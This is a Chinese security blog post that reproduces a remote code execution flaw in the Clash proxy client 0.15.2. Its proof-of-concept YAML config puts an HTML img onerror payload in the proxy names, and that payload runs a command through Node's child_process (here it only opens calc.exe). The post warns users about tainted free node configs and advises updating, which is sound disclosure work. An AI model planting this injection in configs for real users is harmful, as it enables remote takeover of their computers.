杂谈
Clash相信你们都不陌生,就是我们平常使用VPN时最常用的软件
就在前几个小时爆出了RCE漏洞,我们立马给大家复现一下!
clash存在漏洞版本
目前发现的漏洞版本是0.15.2,您可以下载下面的软件进行复现
POC
新建yaml
文件
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
图文教程
新建完yaml文件后,你需要手动导入,点击import

然后切换到这里

切换节点时会弹出计算器,说明远程代码执行成功了

漏洞的利用
如果你是从一些垃圾网站上复制的免费节点,小心不要被人恶意植入了远程执行代码,很有可能导致电脑被远程控制,因此,您可以选择更新到最新版本,此问题就不存在了!
© 版权声明
安全小天地的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
安全小天地拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:anquanclub@foxmail.com
THE END
请登录后查看评论内容